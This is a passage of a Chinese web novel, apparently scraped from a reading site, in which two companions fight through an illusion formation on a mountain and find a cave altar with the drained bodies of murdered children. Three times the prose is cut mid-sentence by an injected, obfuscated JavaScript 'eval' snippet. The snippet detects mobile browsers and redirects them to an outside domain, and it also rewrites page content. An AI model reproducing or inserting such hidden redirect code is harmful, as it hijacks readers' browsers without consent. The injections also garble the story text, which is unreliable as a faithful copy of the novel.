“说起来,这是我们碰到的第一个大凶门的阵点,相较下来,杜门的阵点便是给人当餐前小菜都没了资格。” 魏郁春的精神反而更亢奋,但定是受了不少浑身跑热后积聚起来的急火情绪的影响。 “吉人自有天相,方才那么难的局都被我们破了,这不算什么。” 关阇彦挑眉看她,气笑了:“说来你这人也是怪奇怪的,平时看起来丧丧的,怎么现在如此昂扬乐观?” 除此之外,他还发现只要提到什么天啊、命啊、天命使然啊、命运注定等等诸如此类的词,她就像是被触了逆鳞一般,浑身火气腾腾的,谁都不好惹——当然她平时就不好惹,只是这种时候更不好惹罢了。 他见过爱和人置气的,却没见过像她这样爱跟天置气似的。 她是个很极端的一个家伙。他对她的态度当然也很极端,一会儿对她的为人之道不屑一顾,一会儿不可避免地对她感到欣赏。 魏郁春则是摆摆手,抬眼默默扫了不远处的大沼泽,七窍玲珑作祟,那张经常性淡到没情绪的脸一动不动。 她很快就有了点子:“我们要想去死门,就必须得跨过此地,但我们没有可以过去的途径,再伐树准备已经来不及了。那些黑衣人们不是快来了吗?你有没有办法直接让他们给我们搭桥?” “人身作桥?”关阇彦微惊,不过末了,他却勾住嘴角,笑容不怀好意,“也是,虽然缺德,但是唯一的出路了。” “来了。” 魏郁春看向不远处的眼神动了动,旋即将手搭到关阇彦的手臂上,动作行云流水,好似早就预判过动作一般。 关阇彦敛住笑,他长眸微扯,杀气渐起,那吊儿郎当不靠谱的气质瞬间不见。 他直接接过她的手,拽到胸口部,低声道:“丑话说在前头,风险很大,不可能时时刻刻都顾得上你了。” 魏郁春早已体验过两次这样的“风险”了,紧张不可避免,但不至于应激。她做好准备:“放心,不敢拖累大少爷您。” 风趣的话风,一把牵走她靠近他胸脯时难以自抑的悸动,真是可耻的掩饰。 关阇彦不以为然,也察觉到对岸的黑衣人已经看到了自己。他们一共只有五个人,其中有两个明显很狼狈,身上的黑衣破损诸多,衣物下是若隐若现的血痕,是被刀剑伤过的痕迹,挺深,有下死手的表现。 真巧啊,关阇彦没忘记和自己第一次交手的那拨黑衣人里,有两个被杀了,有两个自相残杀了,一个留着劝架去了,还有两个则去追赶他和魏郁春了。眼看面前还有五个人,看来是劝架的那个人有本事,留住了互残二人的性命,零零总总算起来,可不就是五个人了吗? 除了那两个最狼狈的,剩余三个人也没好到那里去,动作比之前迟缓了太多,眼神里充满戏谑的杀气都被恐惧和胆怯取而代之。 他们看到关阇彦和魏郁春两个“老熟人”的时候,更是懵了几懵。 幻觉上头了,不管是哪一方的人都深受其迫害,分明还懵着的黑衣人,一下又忍不住见血的心,不分青红皂白地杀了过来。 以强烈意志对抗强大的幻觉,整片腹腔都好似也要跟着天旋地转起来,晕晕乎乎地,叫人只想呕吐。 那些黑衣人虽不知道是什么来头,但脑子一定愚蠢,他们无法堪破阵局,自然不懂什么叫做吉凶之分,也不解为什么弯弯绕绕总是避不开该死的石墩,还有为什么又会和关魏二人相遇。 既不知吉凶规律,肯定也不明白见血和不见血的区别,除了任由幻觉操控当棋子往前莽以外,啥用处都没有。 蠢到家了。 关阇彦揽着魏郁春直接往沼泽之地奔去,故意挑了一处泥水浅的岸边——此处露出泥面的树木、石头还有动物骨架都比别处高很多。 主战方是黑衣人们,他们要打也是要追过来,就只能从对岸趟泥过来。 毕竟除了平坦的泥水之地,周遭密林古木高立,也没可绕的地方,就算可以绕,阵法也不肯他们绕。 关阇彦的芒鞋被冷到刺骨的泥水淹没,黏黏糊糊的,怪恶心的。 但他得继续装作也要向前对峙的样子,让那些黑衣人更加趋之若鹜,其实他前进的速度比起黑衣人们的慢得多。 眼看已有黑衣人莽过来,他则一个肘击敲向了黑衣人的脑袋,黑衣人腰下皆被泥水吞没,难以动弹,只能怒地用两只手臂狂甩手中的剑刃。 “拿来吧你!” 关阇彦咬着牙腔内的一侧肉,以疼痛刺激击打黑衣人后阵法带来的幻觉反噬。 他抓过黑衣人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447405|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里舞来舞去的剑,一个剑柄又敲下去,可算是把人打晕了。 他艰难地从泥水里拔开一只脚,直接踩到了晕过去的黑衣人的背上。知道要开始踩人身的魏郁春,用力拽了拽他的手臂,还颇有默契地报告了一声:“我已经抓稳了!” 二人踩上背脊,重量上来,下面的躯体开始越来越往下沉默,撑不了太久,但能做到这样已经不容易了。 关阇彦冷嘲热讽了一句:“不错,还挺壮实。” 接下来的四个黑衣人好似被前面两人的骚操作震慑住了,幻术的操控力一下少了大半,四个已经被泥水淹没大半身子的家伙们勇往无前的动作,在刹那间愣住,他们被黑布掩地严严实实的面孔上,唯有一对天生小人样的眼睛在瞳孔地震。 他们体力本就不济,和关阇彦的实力有过大的悬殊,也意识到了关魏二人的要利用他们的心思。 他们可算能强制自己的意识暂时脱离幻术的掌控,欲反身逃走。 “想跑了?”关阇彦那犹如死神般的嗓音诡异响起,“没门!” 他快刀斩乱麻般,直接好几次将剑柄推出去,把靠得最近的家伙打翻过去,然后拉着魏郁春踏上第二个人的背,接着第三个……第四个……周而复始地推剑柄敲晕人,不断腾跃、下踏人背时,竟有步罡踏斗般潇洒果断的格调。 剩下的四个黑衣人迅速被一网打尽,他们终于踩到了对岸的浅泥。 魏郁春全程闭着眼,虽也会被幻觉波及,但影响终究没有身为动手人的关阇彦大。 关阇彦扶了扶身边的树木,眼前虚虚浮浮,没见血所以没看到什么东西幻化出来的“神兽”,但晕眩感十足,就连好好站稳一下子都成了大难题。 他艰难地吞咽了一下口水,问魏郁春:“怎么样,方向确定好了没?” 原来,他们二人在动手前就预知后面方向感迷幻的问题,魏郁春还特地找了一根挂在某棵树上的树枝作为参考物,以免她也架不住幻觉压力的时候,好靠那根树枝的指引处判断方向。 她掐了腰间一块肉,忍痛清醒,抬首望长在对岸泥沼外围的那棵树,树枝指引的地方被确认,出发去死门的事情也有了着落。她抬臂指向左侧:“那头。” “行,快走吧,我有点撑不住了。”关阇彦甩了甩脑袋,忍耐道。 一路上,魏郁春也没听到可疑的脚步声了,真是万幸,因为她记得还有另一一拨黑衣人蛰伏于山中,看来不在死门附近。 所以在他们靠近死门的时候,那些人也无法立刻被引入凶地。 本以为一切都要结束了,抱着下一站就是出口的念头,魏郁春被那种劫后余生的快感控制住了大半神经,险些欣喜到迈不稳步子。 但下一步出现的事物就让她的心情再度跌落谷底。 眼前是一只石墩,无疑是属于死门的石墩。 而石墩周围堆满了人的骨头和腐烂了大半的衣物,那些衣物里有黑衣人那样的装束,有像他们这样老百姓式的穷朴衣饰——它们竟堆得有山高。 唯有正对他们方向的位置,没怎么堆上人的骸骨,石墩戳目地立在中间,两翼和后背白骨森森,乍一眼看过去,这些山一样的白骨群竟像极了石墩故意朝他们张开的恐怖怀抱,好似是在真心而热忱地邀请着他们的“加入”。煞是诡异。 关阇彦的手指掐着自己的掌心肉,他的唇色泛白,语气显现出了几丝认栽后的恐惧和绝望:“不愧是四凶之首的死门,这样的摆布对得起他的名声。” 魏郁春知道这附近就是他们入山时见过的虫尸之地,也想象过死门的骇人景象,但想象和现实终究有出入。 她冷汗直飘,人心底深处对死亡和凋谢原始性、生理性的恐惧强逼着她。不知不觉间,她的眼中已缀上了惊恐的泪光。 63. 吉人天相(3) 此局该如何破?关阇彦脑中飘过无数句这样的话。 好不容易从惊门范围抽离开来的神智,又开始慢慢被死门包裹缠绕,不知是不是心理作用,这次的幻术貌似比以往任何一次都要彪悍——比第一次经过死门的时候都要彪悍。 “没事,不慌,”他开了口,是安抚魏郁春,也是安抚自己,“起码没烦人的家伙搅局了。” 魏郁春却摇摇头,哽咽:“若是有那些黑衣人便好了,我担心这次我们自己会打起来……” 眼前血海尸山,多半就是人类自己缠斗,不死不休后留下的遗迹。 关阇彦咬咬牙:“你说得没错。不过我不是凡夫俗子,还是能控得住自己的,只要我们互相不见血,就都有希望。” “一个人一个人地过去,你自己能做到吗?”他忽地道。 这意味着魏郁春得压制那在心中跳跃地如火如荼的恐惧,独自从那森森白骨群里跨出去。 “死门压迫性太强,还没有第三者干预,我们打起来是十有十的事。陆子礼不就是一个人么?只要一个人一个人地出去,凶地不会妨碍你的安危。”关阇彦解释起来,同时他额上也冒出了明显到肉眼可见的一层冷汗。 “那你呢?”魏郁春惊恐地望向他,因为她知道此时这种境遇,谁都不容易。 关阇彦不觉得她是在担心自己走丢,而是觉得她是担忧自己走丢后,无人保障她的性命安全。 他一时不知是气是笑:“我先退回惊门,你走的时候记得在地上踩出痕迹,不久后我就追过来,你就别担心了。” 他复低头仔细看向魏郁春,鲜少地对她表露出了担忧的情绪,不过放在他现在这副臭脸上,别人也说不准他这是在担忧,还是在嫌弃。 “倒是你,能行吗?毕竟也是女孩子家的,这种地方普通男人独自走过去,也至少得做个三天三夜的噩梦。” 魏郁春默了默,他是在担心,还是在挑衅? 但这应该不失为一种表现自己的机会,她的激情燃烧起来,浑身充斥着的恐惧色彩淡去,她的声音镇定自若:“我可以的!” 果不其然,见她这样,关阇彦确实毫不吝啬地表现出了认可的情绪:“不错,关某佩服。” 他旋即扶着树干离去,然后听到了身后传来一声:“关贤齐,你也要注意安全。” 他笑了笑,摆摆手:“知道了。” 关阇彦最后那丝脚步声逝去了,周遭寂静到好似有一口能吞噬万物的深渊把声音都纳入了肚中。 魏郁春觉得自己的呼吸声越来越重,幻觉将她笼罩,肢体变得僵化,一节一节将要断开,她以为自己好似成了被提线的布偶人,窒息的阴气排山倒海,她抵着压力踽踽独行。 她用力地踩下每一只脚步,途中不可避免地会踩到零散在泥地里的人骨,咔嚓咔嚓的,好似立马能吐出一口怨言所化的魂手拽住她不放行。很难受。她强逼着自己瞪大眼睛不松神,浩瀚的人骨堆入目而来,比远处看时还要震撼,带来的视觉冲击力更是荡魂摄魄。 每走一步,身后骚动的阴风便越大。 她自己本就是鬼魂之身,世人半信半疑的鬼神之说在她眼中,却是既亲切又令人细思极恐的事物,她身后跟着的冤魂只会数不清,而不会不存在。 无形的冤魂们紧盯着她的眼珠子骨碌碌地转,混合起来,震耳发聩——但这些声音只有她能听得见。 不知到底走了多久,她才终于脱离了幻术那变态般的控制,只是唯她可闻的耳边阴风还在大剌剌地吹。她的眼睛膛得太久,险些合不上眼皮。 她看到了下坡的山路,陡峭的山石和上山时的很像,石上铺着的青苔还有山路边长得歪风邪气的鬼树,都让她感到前所未有地亲切。她先是感到劫后余生,可很快巨大的失望感就淹没了她。 她本以为能靠着在陆子礼那边获得的线索顺藤摸瓜找到幕后真凶,却怎么都没想到差点把人命都搭进去。除了拿下了其中一只石墩上的十几张拓印,她什么都没做成,她逃离了盘龙山等于一事无成。 古溪村那里,她到底该怎么交代? 她继续前行,本打算寻一处平坦的地方等待关阇彦,但忽感后脚踝被什么东西恶意绊住,那好似是一种喜欢蛰伏地下的藤蔓,上面长了尖刺,直接嵌入了她的血肉,她连叫痛的机会都没有,就直接被那物狠狠往后拖。 她被拽入一只洞穴,滑坡处长满苔藓,她滑下去却抓不住任何支撑的东西,只能任由藤蔓摆布。 她体力耗尽,脚腕受伤,又悲伤过度,只好在暗无天日的穴中昏了过去。 不知是什么时辰了,她在昏天黑地的虚无之境里听到了一些柴火燃烧时的劈里啪啦声,就此被声响引出无知无觉的昏地,慢慢的,眼睛也能感应到光芒,身体也能察觉到周遭的烘热。 她疲惫地睁开眼睛,却见一个男人侧着脸坐在她身边,手里拾着几根木棍树枝,盯着眼前的火堆,百无聊赖。 是关阇彦……她不是掉入了洞穴么?他怎么也会在身边? 她本以为自己就要一直都困在这里,孤独地死去。她想起来这里还是那瘴气缭绕的盘龙山,连忙对自己说,这恐怕也是幻觉吧。 她明明没说话,男人却眼也不瞥她一下,冷不丁地开了口:“别怀疑。我的确跟你一样也掉下来了。” 她惊了惊,然后连忙从地面上起了身,环顾四周,又掐了自己一把,疼痛得很,这才清醒回来。 她看到了关阇彦眼前摆着的是一只有过摩擦痕迹的燧石,还有一把他从出发启就带来的小刀,看来这里的火光都是他搓打出来的,但此山本就湿潮,洞穴里更是如此,打起火来肯定很费劲。 虽然清醒了,但她还是懵着的,稀里糊涂地问他:“你是后来跟着脚步过来的吗?” 但她立马顿住声音,满脸愧疚:“抱歉,我……我,是我不注意看路,把你也害了。” 这还是关阇彦第一次见她这么服软的样子,但她这是误会自己是因为她带路不小心而被她连累了吗? 他趺坐好,丢开手里把弄的树枝,腾出一只手的空撑着一边膝弯,手掌刚好拖住了他的半边脸颊,他好整以暇地看着模样可怜的魏郁春,神色复杂:“嗯……你的道歉我接受了。不过,这事和你没关系。” 这话说得意思不大明白,魏郁春抬眸:“怎么了?” “我比你更早掉下来。” 说来真是倒霉,他刚要跨出凶地的范围,却突然踩住了一只浑身带刺的藤蔓,那东西怪力失足,直接拦着他的小腿往后拽。 他反应再快、力气再大也难躲此物的卑鄙偷袭,最后他只能勉强保持站立,然后被藤蔓硬生生拽进了一只诡异的洞穴。 掉入洞穴后,他偏偏爬不上那长满苔藓的滑溜溜的石壁,又发现刚刚手段雷厉的藤蔓一下成了死物不再动弹,藤蔓的根部就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447406|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长在他脚边,所以不存在有家伙故意操控藤蔓陷害他的可能性。 下面暗无天日的,他心中忧虑,但还好身上留了火石和小刀,勉强生了点火星子,凑到了几根树枝上,他聚起树枝拿在手上当作火炬。这只洞穴不深,他环绕四周,发现内部平平无奇,不久后他发现了隐蔽处还有通向别处的通道,他警惕地进去,走了有一阵子,结果听到前方传来重物落地的声音。 他还以为是什么黑衣人,结果跑过去一看,发现是晕倒的魏郁春,她脚腕流着血,长刺的藤蔓勾在上头。 看来,她也跟自己一样,是被奇特的藤蔓恶意拽入洞穴的。 魏郁春所在的洞穴也有通向别处的通道,除了他走过来的那一个外,便还有一只陌生的。他想去看看,但也不好就把昏迷的魏郁春丢这儿不管了,于是,他就去捡来了一些树枝什么的,堆了起来,把火种引了上去。 冒着火光散发热气的木头堆就此而来。 “所以,我还真不是被你连累的,”说罢,关阇彦古怪地盯了魏郁春一眼,有些纠结,但还是说了,“咳咳,你脚腕上的伤口我已经拿衣角包好了,要不然血流不止更麻烦。我其他的什么都没做,你千万别多想什么。” 孤男寡女共处一室就罢了,男子还摸过了女子的脚踝,这要是说出去,不成个婚洞个房就说不过去了。关阇彦再不屑这些繁文缛节,再不要脸,也不会无耻到连此事都不在意。 他是打算欲盖弥彰的,但那包扎的地方明晃晃摆在眼前,就是魏郁春装看不见,他也会被晃得眼睛酸疼,这是不耻的象征。 而且要是不说,人家魏郁春眼睛也不瞎,看见了能不多想吗?她那能为了清白要死要活的清高性子在这里,就算不和他计较,也会跟自己计较死。 想来想去,那还是说吧。 魏郁春转眼一看,脚踝处果然包了两圈从衣服上撕开来的衣条。 关阇彦是觉得这事本就不咋好动手,再撕人衣服就更不对了,于是包扎的衣条还是出自他的身上。 魏郁春脸又红了,火光本来就把人的脸色照得红亮,她这副不自然的面色再叠加上去,好似直接在脸上烧了一把火,怪吓人的。 见她这样,关阇彦都臊得红了一对耳垂,撇过脑袋,大气不敢出一个。 她支支吾吾半天,终于能好好说出话来:“没事,我能理解。” 红潮渐渐从关阇彦的耳边褪去,他尴尬地回应她:“那就好。” “时辰不早了。你试试还能不能走路,若是可以,便一起去找找出路。” 魏郁春依言,她扶着膝盖,攀着洞穴旁的石壁,慢慢起身,虽然脚踝还是隐隐作痛,但站起来抑或是慢慢走路是绝对没问题的。 她诚恳回答:“没什么大碍,就是不能快跑。” “不碍事。” 关阇彦也起了身,吧手边的树枝重新捡起来,抓在手里送到火堆里,成功引来了火种,举在手里,嘱咐她:“洞穴下好似不受阵法的影响,幻觉已经不见很久了,所以难免会遇到一些游走在暗处的虫子。” 他来找魏郁春前,就在通道里遇到了不少养得又长又肥的蜈蚣虫,恶心是恶心,却不碍事。但还得提防着点,毕竟这种虫子无孔不入,狡猾得很,咬了人是一顶一的疼。 死人堆都走过了,虫子算什么?魏郁春下意识想道。 然后,她颔首道:“嗯嗯,我会注意的。” 64. 南禺邪秘(1) 通道狭窄,两个人并肩行走虽够,但总能互相摩擦到肩膀,总归不便。于是,关阇彦就负责走在前头开路,火光照下来,魏郁春便能提前查探好四周的情况,走得轻松了不少。 二人都沉着气走路,好似又回到了地面上和阵法斗智斗勇的时候,分不出心思说多余的话,通道里唯有一前一后脚步声响着。 走了先是走了一大段平坦的路子,后来发现地面越来越下沉,洞穴好似越来越深,原本狭窄的通道开始变得宽敞,渐渐的,魏郁春和关阇彦再次并肩齐走了起来。 眼看这路越来越下沉,魏郁春神色不安:“这样下去还能找到出口么?” 关阇彦对此同样持怀疑态度:“难说,但暂时也没别的路可以选了。” 魏郁春想起了什么,她压低声音,好似在说什么不可告人的秘密:“对了,在传说中,酆都罗山本就有一只藏在下面的海洞,既是海洞,就应该埋在地底。我觉得我们现在所处之地就像这样的地方。” “海洞……”关阇彦想了想,不好的预感浮现心头,“这里可是传说中妖怪的老巢了,如果盘龙山真是秘术里酆都罗山的原型,洞里恐怕是比阵法幻术更吓人的东西。” “还去看看吗?”他也迟疑了起来,因为上头的阵法就已经够折磨人了,很难想象比它更恶毒的东西得多害人。 辨清局势对他来说尤为重要,没有胜劵的仗打了也是白打,所以此时,顾虑自然会多起来。他和那群没脑子只会莽打的黑衣人们可不同。 魏郁春只怕比他更迟疑,但她想着就是不去看看,也只能往回走,回到最初的地方,呆呆地看着头顶上掉落时碰到的苔藓遍布的口子,一事无成。 她落寞地叹了一口气:“若是如此,和送死没什么区别。但现在回去,和等死没什么区别。横竖都是死,只是死得不冤更好一些。” “确有此理。”关阇彦也无可奈何地耸了几下肩,算是放弃了抵抗。 他们鼓足勇气继续深入越来越深的洞穴,视角变得越来越广阔,相较下来,原本攥在手中的火炬可以将狭窄通道人前人后大概一丈距离的光芒,如今只能勉强支撑他们看清当下身边的事物。 他们很快就发现了不对之处,在宽敞空间里愈显微薄的光晕外还缀着好几只不大起眼的亮点。那些亮点还和自己有很远的距离,但从方向上看,亮点和他们几乎就处于同一条平行线上。 看来是有人了。 关阇彦暗忖着,紧接着示意魏郁春停下脚步,然后默默将火炬的光芒熄灭了。 光晕逝去后,远处的亮点就更显眼了。只是关阇彦可以确定,他们发现了亮点们,而对岸的“它们”却没意识到他们的存在。 因为,他只需要微微偏移一下看向对岸的目光,那些亮点就会闪烁起来,边缘的一两粒还会遮羞似地躲避起来,唯留下几道光线在外头。所以严格来讲,方向虽然统一,但通向对岸的道路却是崎岖蜿蜒的,而且比起他们此时的高度,应该更低一些。 种种条件叠加,视觉上的误区也就形成了。 他们相视一眼,默契上前,走路的速度比原先都要慢很多,因此发出的声响聊胜于无。 …… 庞大的地穴下内,一张巨大的石床安置在穴的中央,石床上躺着七八个幼童,他们有男有女,年纪也不统一,但都在五到十岁之间。七八个孩子们均瞪大着眼睛,死不瞑目。 他们身躯干瘪,本来有着婴儿肥的脸蛋似被抽去了血肉,好像就只有一张快被绷坏的面皮覆着幼小的骨头,因此眼窝深深凹陷,眼眶暴露在皮下,眼珠子突兀地戳在中间,没什么支撑,好似一个弹指间就能让其溜溜地跑掉。 孩子们浑身都泛着青白色,有好几个已经有了很浓重的尸斑,在余下的几个手腕部还有脚踝部,还能看到被刀割裂动脉后留下的血红色刀痕,血液流淌过的石床上有着灰褐色的血迹,和冰冷的石头融合在一起,近乎看不出区分。 石床周边摆满了一圈火烛,陈设和先前陆子礼偷练秘术时所用一模一样。 火烛摆地密集,每一支的光芒微小,但远看过去,微小的烛光就会自觉汇聚起来,成为一束又一束的亮光,在关魏二人的眼里,它们就是一个个引起他们注意的亮点。 但若是看到的人越发走近此地,亮点就会散开,变得越来越多,最终就会发现这些原来是数以百计的烛光,而它们的光晕可以将大穴内的大半地方勉强照亮——只能说是能看得见东西,但看得很不分清。 穴的内壁写满了古文,这些文字的风格和地面上的八个石墩如出一辙。 这些文字从四周内壁一直延申到顶部,而顶部也不是普通的岩壁抑或是泥土的混合物,而是人为堆砌或者钻刻后留下的。若是仔细看,地面上也是这样的质地,同样也都布满了密密麻麻的文字。只恨没有更加充足的光源,否则此地能呈现出来的视觉冲击力,不比死门处的尸骨山弱多少。 此地空间极其旷阔,说一句话,回声荡回来的时间都要一阵子。 关阇彦和魏郁春已经来到了距离穴下约莫十丈的地方,压根没看到里面有什么人,大老远就听到了里面三五成群的家伙压低声音说出的声音,这些声音是不同人发出来的,回音很重,重重叠叠在一起,活像在低声呢喃什么咒语,听得人浑身刺挠。 他们默默躲在暗处,耐着性子从“咒语”里提取关键的信息。 “该死的,都什么时辰了,那些家伙还没到吗?!”这个家伙声音很沉,语气是说不出的愤怒。 “再等等吧,那些家伙们得翻越不知多少个山头问旁系借东西,耽搁是必然的。”有人叹了一声气。 愤怒的家伙冷嗤一声:“你和他们关系好,能不偏袒他们?!” 其余的家伙出了声,语气不明:“今日刚好天地归一,近来每隔五天才只有这一天能安全进入盘龙山。可如今马上就过夜半了,他们不会出什么事了吧?” 暗处的关魏二人同时一震,他们不好言语,只好竭力用眼神交流—— 魏郁春:“天地归一?是指算时辰旬时地支和天干能互相清零的意思吗?” 关阇彦怔了怔,然后慢慢颔首:“应该是了,这些家伙不是说每隔五日才有一次机会么?六十甲子在时辰上一次循环刚好得五天。” 其余人一起啐了一口:“五天?哪有这么简单,这山被天仙施过法,根本捉摸不透,一会儿五天能进的,一会儿十天能进的,说不准过了今日,下一次就变了!” “妈的,要不是通仙大人同情我们,给了我们这次办事的机会,我们保证又要被旁系的那帮家伙压得抬不起头。这可怎么办!我们总不能再厚着脸皮请大人为我们再算一次山时吧!” “万万不能,大人一听就知道我们搞砸了事情,我们小命都不保了!” 魏郁春转了几转眼珠子:“日子之所以会变化,也跟阴阳之遁、不同节气息息相关,倒不是真的没有规律可寻。最多是不同情况下的循环规律不同而已。看来这些人根本不知道地面上有八卦阵,否则不会对此一窍不通。” 关阇彦:“是不是很像我们在凶门处遇到的那些黑衣人?他们很明显也很捉摸不透这山的规律。看来,此穴里说话的人和上头黑衣人是一伙儿的。真搞不懂这山里到底还有多少拨黑衣人。” 魏郁春:“穴中黑衣人口中的通仙大人是什么人物?他好似很通卦象。” 关阇彦这次眼神暗了暗,相当于是一种沉默,他对此也毫无头绪。 眼看时间越来越晚,穴下人的情绪也越来越不稳定,有人竟奔溃起来:“凝丹炼血的东西被偷了,眼下送东西来的人也出了事,哪怕真能再等五日,这群孩子们的尸体也都烂透了,一滴血都流不出来了!我们该怎么和通仙大人交代?!” “啧,大不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447407|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了在把那几具还没坏的尸体四肢上的刀口划深一点,能流一点是一点。” “那群家伙脑子装了恁多屎,蠢成这样,才过来多久就不知道怎么进山了!要不还是上去看看?!”有人抱着宁可赴死也不愿意坐以待毙的念头。 听到这里,暗处的关魏二人心跳快了起来,因为穴下人这么说,就意味着他肯定知道出口在哪里,他们完全可以跟着他们一起出去。 但很快就有一大捧冷水浇透了他们的心。 比起不愿坐以待毙的人,怕死的人居多。所以很快就有好几个黑衣人反驳起来:“去你妈的!不要命了!外面天全黑了,山里面瘴气多得要死,天仙大人又最忌讳祭坛之人入夜出走。他们死就死了,我们凭什么一起搭命进去?!” 那人原想激进反驳,结果一听到天仙的名讳,一下子就不出声了。众人都很畏惧于此,短时间内穴下人噤若寒蝉,回声全无,安静得可怕。暗处二人生怕呼吸一下都会将踪迹暴露。 “妈的,那到底该怎么办!”暴躁的黑衣人打破了沉默。 “还他妈能怎么办?!离开此山重新寻找适龄孩童,送给旁系的,说不定人家网开一面,还让我们加入进去。届时通仙大人问责起来,就一起把责任推给那帮死人,收了我们好处的人为了避嫌也会护着我们,总之怪不到我们头上。” 方才还怒气冲冲说着那些旁系者的坏话,转头一出事儿就立马想方设法低头加入,听得人只想发笑。 “通仙大人要求高,时间还紧,我们上哪里去弄新的孩子,你可知符合条件的孩子有多难找?!”若是好找,他们又怎么拿这个当作条件去贿赂旁系者? 有人冷笑:“再去古溪村捡漏不就行了?” 古溪村? 果然,这次的确来对地方了,这些黑衣人和古溪村的关系匪浅!但为何叫做“捡漏”?若古溪村的黑衣人和他们是一起的,他们为什么要这么说?他们口中多次提及的“旁系”到底是什么意思? 魏郁春和关阇彦顿时愣住,尤其是魏郁春,她的浑身都抖着,眼珠子也是,好似在回忆古溪村噩梦之夜的情景。 关阇彦盯紧她,柔了柔神色,对她摇摇头,劝她莫冲动。 再后来,穴下的人就都不说话了,他们脚步声响起,好似要离开。他们留下的“古溪村”的疑点还未解释清楚,暗处的二人只得抓耳挠腮得胡思乱想。 关阇彦忽然没了顾虑,他不再选择用眼神和人交流,大方地启了启口,却还是没有发出声音,让人一时不明白他到底有何用意。 他让魏郁春从他的口型读懂意思:“我估摸也就三四个人,动起手来不算麻烦。怎么,要不要了却后患?” 原来是提前让魏郁春了解他的动机,同时,也是在询问她的意见。因为古溪村一事确实是她的大心结,但她身无武力,难敌个个身强体壮的黑衣人,即便他们被关阇彦毙命了去,但这个仇报起来可太不称心了。所以在关阇彦这个睚眦必报之人的眼里,若是让她做下动手的决定,也算是让她体会体会将仇人大卸八块的快感了。 魏郁春未想过他的心思会这么细腻,倏尔怔住,眼神也好似突然涣散,怎么都对焦不上对方那双狡黠却又正义凛然的眼。 他偏偏离自己是那样的近。 她耳垂红温,心跳止不住地加快。这厮总是撩得她不知所措。 可头疼的是,他似乎总是对此不知情,做什么都这副义正言辞、我行我素的样子。 她只好识趣地偷偷藏匿起祸心,然后无地自容起来。 百般思绪飞速驶去,她虽兵荒马乱,但除了那对泛红却又藏在暗中不叫人发现的耳垂外,她的种种皆是不露声色。她的口型明晰而坚定,也很慷慨地接受了对方的别出心裁的好意:“杀了他们,再留一个活口问话。” 关阇彦眼中的黠色愈发浓烈,他牵起不怀好意的笑:“行。” 65. 南禺邪秘(2) 关阇彦合掌,掰着指头转了转手腕,然后对魏郁春说道:“你且在这边等等,事情了却后你有什么要问的便尽管说。” 魏郁春微笑着点头。 之后,关阇彦便提着一把小刀大摇大摆地走了出去,眼看他的背影成了一只拇指大的缩影,魏郁春嘴边的笑意才收敛了回去,她眉头锁着,紧张地等呆着“捷报”。 此时,关阇彦已经大大方方地出现在了所谓的祭坛中,他落地时几乎无声,走了几步,黑衣人们才有所察觉。 他们见他正云淡风轻地将小刀放在手中把玩,另一只手还随便地叉在腰间,而当事人翘着冷笑,连个正眼都不给他们一下,看起来完完全全一副傲睨一世的拽相。 这可让人恼火极了。 这帮黑衣人们现在心情又刚好不好,关阇彦的出现彻底点燃了他们的怒火,他们正愁没地方撒气,这不,立马暴躁了起来。 “你是什么人?!”一个蒙着面的家伙主动跳出来,脚底下像是长了弹簧一样,踮上踮下的,可不就是暴跳如雷的样子?滑稽得很。 关阇彦不屑地掏了掏耳朵:“哼,这话我今儿都听了不知道多少遍了。” 其实,也只有两遍而已。但这里除了魏郁春外已没有知情人,没人会特意戳穿他这此地无银三百两的傲话。 他也不多言,眼见前方四个黑衣人齐拥而上,他转着小刀直接朝前划去,力度了得,即便刀刃没碰人,那挥舞出去的冷风就已形似剑气,抽打到人身也疼得紧。 这场架打得他越来越趁手,毕竟他还是很擅长揍人的,但前提是毫不保留地往死里揍。 白日地面上有阵法的限制,他根本发挥不出实力,面对敌人的死招,他不能反手只能躲避,憋屈到浑身难受。 如今终于有能让他大施拳脚的机会,他怎么会不去好好珍惜呢? 这些黑衣人和之前遇到的都有一个通病,太过自负,总以为自己天下第一,无人能敌,看到关阇彦一身狼狈草衣,也是先入为主,觉得他好对付。刚开始起手的时候就不认真对打,直接让关阇彦看透了他们的弱点,几个刀风扫过去,他们一个不注意,手肘就被击得快断裂,手里面拎着的兵器也就只能拱手让人。 关阇彦没有直接杀人,而是故意戏弄或者羞辱他们一样,先一个一个地打趴下了、不能动了,他才舍得正眼眇他们几眼,不过很快就会“哼”的一声翻个白眼把眼珠子翻回去。 四个黑衣人匍匐在地,而他却高高上上负手立着,一副世外高人的拽样。真是对比强烈。 “该死,你到底是什么人物?!” 